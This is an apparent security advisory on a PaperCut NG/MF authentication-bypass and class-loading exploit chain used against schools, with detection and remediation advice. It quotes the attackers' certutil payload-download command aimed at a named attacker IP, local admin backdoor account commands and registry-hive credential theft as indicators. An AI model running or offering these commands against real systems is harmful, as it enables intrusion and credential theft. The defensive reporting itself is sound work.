CVE-2026-81578 PaperCut Active Campaign Hits Schools Across U.S. and Europe

CVE-2026-81578 is classified as an improper access control vulnerability, CWE-284, with a CVSS base score of 8.8. The flaw resides in the PaperCut NG/MF web management interface and exploits a timing gap in the access validation sequence. Under specific conditions, unauthenticated HTTP requests targeting administrative functions reach backend handlers and complete state mutations before the authentication gate finishes validating the requester's session. The attacker does not need a token, session cookie, or credentials to trigger this path.

The vulnerability is network-accessible with no privileges required and no user interaction needed. The attack vector is the web management interface, which most PaperCut deployments expose on TCP port 9191 or 9192. Any server with the management interface reachable from untrusted networks, including internet-facing deployments or those reachable from a compromised network segment, falls within the blast radius.

CVE-2026-81578 becomes critical when combined with CVE-2026-82078, a CVSS 9.4 unsafe dynamic class loading vulnerability in the database connection utilities. PaperCut MF and NG instantiate JDBC driver classes based on configurable driver name parameters stored in the server configuration. The application does not validate the requested class name against an allowlist of approved drivers before instantiation. An attacker who can write to the database driver configuration field, which CVE-2026-81578 enables without authentication, can supply a malicious class name that the server instantiates and executes as arbitrary Java bytecode.

The resulting exploit chain requires a single HTTP session: one unauthenticated POST to manipulate the database driver parameter, followed by a request that triggers class instantiation, producing code execution under the PaperCut server process security context. Similar authentication bypass vulnerabilities recently affected Citrix NetScaler ADC and Gateway, confirming that management plane authentication gaps on network-adjacent services remain a primary attacker priority heading into fall 2026.

PaperCut NG and PaperCut MF are among the most widely deployed print management platforms globally, with PaperCut Software reporting installations at more than 70 percent of universities worldwide and at tens of thousands of K-12 institutions. The education sector concentration makes this campaign highly consequential: a compromised print server in a school environment typically runs under a domain service account with broad Active Directory read access, placing organizational credential stores within one pivot of the initial foothold.

Affected versions span three major release branches. PaperCut NG and MF 24 below 24.1.10, version 25 below 25.0.13, and version 26 below 26.0.5 are all vulnerable to the full CVE-2026-81578/82078 chain. The entire version 23 branch and all earlier versions are vulnerable and will not receive a patch. Organizations on those legacy versions must treat their print servers as fully compromised until they upgrade to a supported, patched release.

One gap is particularly important for organizations that applied Emergency Patch Release 1 on August 28, 2026. That first patch fixed versions 25 and 26 only. Version 24 was not included until Emergency Patch Release 2, shipped later the same day. Any PaperCut 24 installation below 24.1.10 that received only the first patch remains fully exploitable. Confirm the exact running version in the PaperCut admin interface under About, then cross-check against the fixed build numbers.

The campaign extends beyond education. Arctic Wolf's analysis confirms that while education sector victims predominate in current telemetry, PaperCut NG/MF is deployed broadly across healthcare, legal, and financial services organizations that run the same vulnerable versions. Any internet-facing or network-accessible PaperCut management interface below the patched thresholds should be treated as actively targeted. This credential-theft pattern mirrors the Gentlemen ransomware campaign's certutil-based payload delivery observed in August 2026.

The post-exploitation sequence observed across confirmed compromises follows a consistent pattern documented by Arctic Wolf researchers. Immediately after establishing code execution on the PaperCut server, threat actors run four Windows discovery commands: uname, whoami, ver, and tasklist. These confirm the operating system version, current user context, and running processes before the attacker proceeds with lateral movement tooling.

The credential-theft phase uses certutil.exe, a legitimate Windows binary present on all Windows Server installations, to download payloads from 45.142.193.132. The command pattern is certutil.exe -urlcache -split -f [URL] [output_path], which bypasses application whitelisting controls that block unknown executables but permit system binaries. Downloaded tools include Metasploit Meterpreter Java stagers, consistent with a tool chain that avoids writing standard Meterpreter executables to disk, and Windows registry hive collection utilities targeting HKLM\SAM, HKLM\SYSTEM, and HKLM\SECURITY for offline NTLM hash extraction.

Persistence comes through account creation rather than scheduled tasks or registry run keys. Threat actors run net user Administrator17 /add followed by net localgroup Administrators Administrator17 /add, establishing a local administrator account that survives PaperCut service restarts and basic remediation that focuses on the print application without auditing local Windows accounts.

The full TTP chain maps to MITRE ATT&CK techniques T1190 (Exploit Public-Facing Application), T1059.001 (Command and Scripting Interpreter: PowerShell/cmd), T1003 (OS Credential Dumping), T1136.001 (Create Account: Local Account), and T1105 (Ingress Tool Transfer via certutil). The attacker IP 45.142.193.132 serves multiple tool variants and has been confirmed active in this campaign since at least September 3, 2026.

Block the attacker IP and deploy the following indicators to your SIEM and EDR tooling immediately. The URI path pattern /custom/pcp_*.txt is used by attackers to probe PaperCut configuration file accessibility during the initial exploitation phase. Inbound GET requests from 45.142.193.132 requesting this path indicate active exploitation in progress.

Windows Security Event ID 4720 with TargetUserName set to Administrator17 is a high-confidence post-exploitation indicator requiring immediate investigation and account removal. This account name has appeared in every confirmed compromise reported by Arctic Wolf and is not a legitimate PaperCut or Windows administrative account name. Any occurrence should trigger immediate incident response.

Certutil.exe spawned with -urlcache and -f flags is a known tool-transfer technique. When the parent process is PCATomcatService.exe, PCApp.exe, or any PaperCut process, the combination is unambiguous: this is post-exploitation tool delivery, not legitimate certificate operations. The NTLM hash extraction tools delivered in this campaign write to temporary directories before being executed from memory.

For network-layer detection, block all traffic from 45.142.193.132 at your perimeter firewall. Monitor outbound connections from your PaperCut server host to any external IP on ports 4444, 8080, and 443 that do not match your update server or licensing infrastructure. Meterpreter reverse shells in this campaign use non-standard ports alongside standard HTTPS to blend with legitimate traffic.

No CVE-specific community Sigma rules exist yet for CVE-2026-81578 and CVE-2026-82078. The following two rules were generated by Decryption Digest from the confirmed attack behaviors documented in Arctic Wolf and Rapid7 research. Both carry status: experimental. Validate against your environment before production deployment, particularly the webserver logsource rule, which requires PaperCut application logs or a web proxy to be feeding your SIEM.

Rule 1 targets the initial exploitation probe: unauthenticated GET requests to /custom/pcp_*.txt paths that indicate an attacker testing configuration file accessibility during the CVE-2026-81578 exploitation sequence. Deploy this rule to any log source ingesting PaperCut application server logs or reverse proxy access logs. Expected false positives include legitimate PaperCut health monitoring scripts and configuration management tools.

Rule 2 targets the post-exploitation credential-harvesting phase: certutil.exe spawned with URL download flags from PaperCut process parents, and net.exe commands referencing the Administrator17 account name. This rule requires Windows Sysmon (Event ID 1) or equivalent EDR process creation telemetry. The certutil detection condition is high-fidelity when constrained to PaperCut parent processes. The Administrator17 account creation condition is critical-severity with virtually no false positive risk.

All 10 vendor-specific detection queries are available to paid subscribers in the Detect tab of the threat intelligence portal. WAF rules targeting the CVE-2026-81578 exploit pattern across ModSecurity, Cloudflare, AWS WAF, Azure Front Door, F5, Cisco FTD, and Fortinet are also available to subscribers. Restrict PaperCut web management interface access to management VLANs while patches are applied.

Block 45.142.193.132 at your perimeter firewall now. This IP is the confirmed attacker infrastructure delivering credential-theft payloads to compromised PaperCut servers and should be blocked regardless of whether your servers are patched, as blocking limits attacker tooling retrieval even on already-compromised hosts.

Then audit your PaperCut servers immediately: check the About page in the admin interface for the running build number. Anything below 24.1.10, 25.0.13, or 26.0.5 requires immediate patching. Any version 23 or earlier requires upgrading to a supported branch.

After patching, hunt for post-exploitation artifacts. Check for local administrator accounts named Administrator17 on all PaperCut host systems. Review PaperCut application logs for anomalous configuration changes since August 27, 2026, the date PaperCut disclosed active exploitation. Investigate any outbound connections from your PaperCut server host to external IPs since that date, particularly from certutil.exe or java.exe.

If you find evidence of compromise, treat the host as fully compromised. Rotate all service account credentials, reset the PaperCut application admin password, and initiate Active Directory credential rotation for all accounts accessible from the PaperCut host's domain membership. NTLM hashes extracted from SAM and SYSTEM hives enable pass-the-hash attacks against any domain resource accessible by those accounts.

The PaperCut CVE-2026-81578/82078 campaign illustrates a recurring attacker logic in the education sector: target network-adjacent management services that authenticate against Active Directory, because a single compromised service account opens the entire domain. Print management servers are rarely included in perimeter scanning or vulnerability management programs that focus on firewalls, VPNs, and web-facing applications. They run as domain-joined services with broad AD access, making them high-value targets precisely because defenders prioritize other surfaces.

The credential-theft focus of this campaign also points to a longer-term attacker timeline. Stolen NTLM hashes from school AD environments enable offline cracking and pass-the-hash attacks. Some of those hashes will be valid for weeks or months before the organization detects the breach. Education institutions using PaperCut that find no current IOCs but ran vulnerable builds since August 27 should assume credential exposure and initiate rotation regardless.

For security teams without a dedicated education sector focus, this campaign demonstrates that any organization relying on PaperCut NG or MF for print management shares the same attack surface as the directly targeted schools. The print management server is not a low-priority asset when it runs under a domain service account. Treat it with the same patch urgency as a perimeter VPN or remote access gateway.

Patch to Emergency Patch Release 2 before end of day, block the confirmed attacker IP, audit for post-exploitation artifacts, and deploy the detection rules. Organizations that cannot patch immediately should restrict the web management interface to management VLANs as an interim control that eliminates the remote exploitation path for CVE-2026-81578.